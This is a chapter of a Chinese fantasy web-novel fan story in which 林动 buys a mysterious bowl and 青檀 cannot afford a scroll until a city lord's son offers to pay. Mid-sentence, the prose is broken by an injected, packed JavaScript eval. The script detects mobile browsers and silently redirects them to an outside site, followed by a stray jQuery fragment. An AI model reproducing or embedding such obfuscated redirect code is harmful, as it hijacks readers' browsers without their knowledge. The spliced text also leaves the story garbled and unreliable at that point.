林动从储物戒中取出三十滴至尊灵液,指尖一弹,灵液便化作一道流光落入店主手中的储灵玉瓶里。店主见他如此干脆,倒是愣了一下,随即眉开眼笑地将檀木钵往他手里一塞,连客套话都省了,转头便去招呼其他客人。
林动将檀木钵小心揣入怀中,触碰到钵身的瞬间,体内祖符的悸动稍稍平复,却依旧带着淡淡的暖意,仿佛在为这桩交易感到满意。他不再多做停留,转身便走出了藏珍阁。
门外阳光正好,街道上人声鼎沸,林动抬眼望向与青檀约好的街角茶摊,却没有立刻过去,而是低头看了看怀中的檀木钵,眼底满是思索。这破钵看似寻常,却能引得八大祖符齐齐雀跃,其中必定藏着天大的秘密,说不定还能牵扯出祖符的本源来历。
他按了按怀中的钵身,心想回去之后,定要好好研究这檀木钵。无论是以灵力反复试探,还是用祖符之力强行引动,总要找出它与祖符之间的关联,若能借此寻到提升实力的机缘,那这三十滴至尊灵液,可就花得太值了。
念头及此,林动脚步加快,朝着茶摊的方向走去,脑海中却已开始盘算着回去后的种种试探之法,连周身的“贫穷感”,都因这桩意外的收获淡去了不少。
在另一边,青檀独自逛进了一家名为珍宝舍的店铺。这家店比先前几家更显精致,货架上层层叠叠摆满了各式卷轴与玉册,大多是记载着修炼功法或锻造之术的秘典。她沿着货架慢慢走着,目光扫过那些有关于至尊法身铸就之法的卷轴,只觉大同小异——皆是一次性使用的秘术,虽能助人凝聚法身,却都各有局限,远不如他们心中所求的合适的法身。
正欲转身离开,青檀的目光却突然被货架角落的一个古朴卷轴吸引。那卷轴以灰褐色兽皮制成,边缘已有些磨损,看上去并不起眼,旁边的铭牌却让她瞬间停下了脚步。
铭牌上的介绍与其他卷轴并无太大差别,无非是记载着铸就至尊法身之法,属一次性用品。可当青檀看到铭牌末尾那行小字时,美眸骤然亮起,心头猛地一跳。
“尤其适用多属性灵力的灵修。”
这一行字,如同一道惊雷在她脑海中炸响。多属性灵力的灵修,整个天玄大陆,除了身怀八大祖符、能掌控八种灵力的林动,还能有谁?那些祖符对应着不同的属性力量,林动的灵力本就驳杂却又无比融合,寻常的法身铸就之法根本无法适配,可这卷轴,竟恰好针对这一点!
青檀忍不住伸手扶住货架,指尖微微发颤,眼中满是惊喜与激动。她方才看过那么多类似的物件,没有一个能入眼,却在这不起眼的角落,寻到了如此契合林动的法门。这哪里是什么巧合,简直是为林动量身定做的!
她连忙俯身,小心翼翼地拿起那卷兽皮卷轴,指尖轻抚过粗糙的兽皮表面,心头的喜悦几乎要溢出来。只要有了这个,林动铸就至尊法身的难题,便算是有了眉目。
青檀强压着心头的喜悦,连忙抬头询问柜台后的老板娘:“老板娘,这卷轴怎么卖?”
老板娘抬眼瞥了瞥她手中的兽皮卷轴,伸出一根手指,语气平淡:“二十万滴至尊灵液。”
这个数字如同一盆冷水,瞬间浇灭了青檀心头的火热。她脸上的笑容僵住,秀眉紧紧蹙起,声音里带着几分急切与恳求:“老板娘,就不能便宜一点吗?”
二十万滴,这可是淬灵果六倍多的价格!他们手头剩余的至尊灵液,即便省吃俭用,也远远不够支付这笔费用。
老板娘却只是摇了摇头,慢条斯理地擦拭着手中的玉瓶,语气带着几分不耐,却也算是实话实说:“姑娘,这已经是很便宜的价格了。要不是这卷轴只适用于多属性灵力修炼者,受众实在太少,换做其他同级别的法身卷轴,价格起码要贵上两倍。”
她顿了顿,抬眼打量了青檀一番,补充道:“能寻到适配多属性灵力的法身之法,已是天大的机缘,这个价格,真不算亏。”
青檀咬了咬唇,低头看着手中的兽皮卷轴,心头纠结万分。这卷轴明明是为林动量身定做的,可这价格,却让她束手无策。她下意识地摸了摸怀中装着淬灵果的玉盒,一个念头在脑海中闪过,却又被她迅速压下。
老板娘擦拭玉瓶的手顿了顿,上下打量了青檀一番,眼中闪过几分诧异:“姑娘,你的实力很强啊,四品至尊的境界,放在哪方势力都能成为坐上宾,财力应该不弱吧?怎么会连这么便宜的卷轴都买不起?”
她这话里带着几分不解,语气也随意了些,像是闲聊般追问:“你家里人没给你留些至尊灵液傍身吗?”
青檀闻言,忍不住苦笑一声。逢人只说三分话,她自然不能坦言自己与林动来自下位面,那里的修炼体系与大千世界截然不同,至尊灵液更是闻所未闻。
她定了定神,斟酌着措辞道:“老板娘说笑了,我与夫君并非沧崖大陆之人,此次是外出游玩,走得太急,竟忘了备足至尊灵液。如今手头拮据,实在是有些窘迫。”
这话半真半假,既解释了财力不足的缘由,又隐瞒了来历的秘密,听上去合情合理。
老板娘闻言,若有所思地点了点头,倒也没有再多追问。只是目光落在青檀手中的兽皮卷轴上,语气带着几分惋惜:“原来是这样,那可真是可惜了。这卷轴虽说受众窄,可对多属性灵修来说,却是可遇不可求的机缘。”
她的目光在青檀身上转了一圈,指尖轻敲柜台,忽然笑道:“不过姑娘,你的灵力是黑暗属性的吧?这卷轴明显是给多属性灵修用的,想来是给你夫君买的?”
青檀微微一怔,下意识地点了点头,指尖攥紧了那卷兽皮卷轴,心头的失落又重了几分。
“唉,”老板娘见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153784|196484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
状,忍不住摇了摇头,语气里带着几分唏嘘,“你夫君也真不负责任啊。让你一个女人出来为他奔波寻物,自己倒好,出门在外,连买东西的至尊灵液都不备好,害得你在这里为价格发愁。”
青檀听了这话,心里顿时有些不是滋味,却又无从辩驳。她总不能说,林动并非不负责任,只是他们初来大千世界,本就根基浅薄,至尊灵液全靠北溟龙鲲赠予,而林动为了让她买下淬灵果,早已花去了不少。
她只能苦笑着摇了摇头,把兽皮卷轴轻轻放回货架,低声道:“劳烦老板娘了,这卷轴,我今日怕是买不了了。”
“老板娘,这卷轴,我替这位姑娘买了。”
一道温润如玉的声音忽然响起,打破了珍宝舍内的沉寂。众人循声望去,只见一名身着月白镶蓝锦袍的公子缓步走来,身姿挺拔如松,面容俊朗清逸,眉宇间带着几分与生俱来的温润气度。他腰间系着一块羊脂白玉佩,行走间玉佩轻晃,发出清脆悦耳的声响,更衬得他风度翩翩,贵气天成。墨发以一根蓝色发带松松束起,几缕碎发垂落额前,非但不显凌乱,反而添了几分随性雅致。他的眼神温和,带着恰到好处的笑意,仿佛春日暖阳,让人不自觉心生好感。
在他身侧,紧紧跟着一位红裙女子。她身着一袭烈焰般的红裙,裙摆绣着暗金色的缠枝莲纹,走动间如烈火翻涌,夺目却也逼人。女子身姿窈窕,容颜亦是绝色,只是眉眼间带着几分疏离与傲气,双手环抱于胸前,一双杏眼微微上挑,正用一种带着审视与挑剔的目光上下打量着青檀,那眼神锐利如刀,仿佛要将她从里到外看个透彻,周身散发的冷冽气息,让人望而生畏,一看便知是个极不好相处的性子。
他们虽然没有听到老板娘与青檀的对话,却看出了青檀正为这卷轴犯愁。
青檀心中一凛,下意识凝神感应,很快便察觉出两人的修为——蓝袍公子与自己一样,是四品至尊的境界,那红裙女子则是二品至尊,在这沧崖大陆的年轻一辈中,已是相当不弱的实力。
“张公子?程姑娘?稀客呀,真是失礼了!”老板娘一见两人,脸上的平淡瞬间被热络的笑容取代,连忙起身迎了上去,态度恭敬了许多。
周围的客人也纷纷认出了他们,顿时响起一阵低低的议论声。
“这不是北朔城城主的儿子张逢勋吗?果然一表人才!”
“旁边那位应该是他的表妹程芸诗吧,听说程家也是北朔城的大族,这姑娘性子可是出了名的傲。”
“张公子这是要英雄救美?那姑娘看着面生,怕是外地来的吧。”
青檀听着周围的议论,美眸中满是疑惑。她万万没想到,自己不过是为一卷轴发愁,竟会引来北朔城城主之子的注意。这位张逢勋公子与她素不相识,为何要主动替她买下这价值二十万滴至尊灵液的卷轴?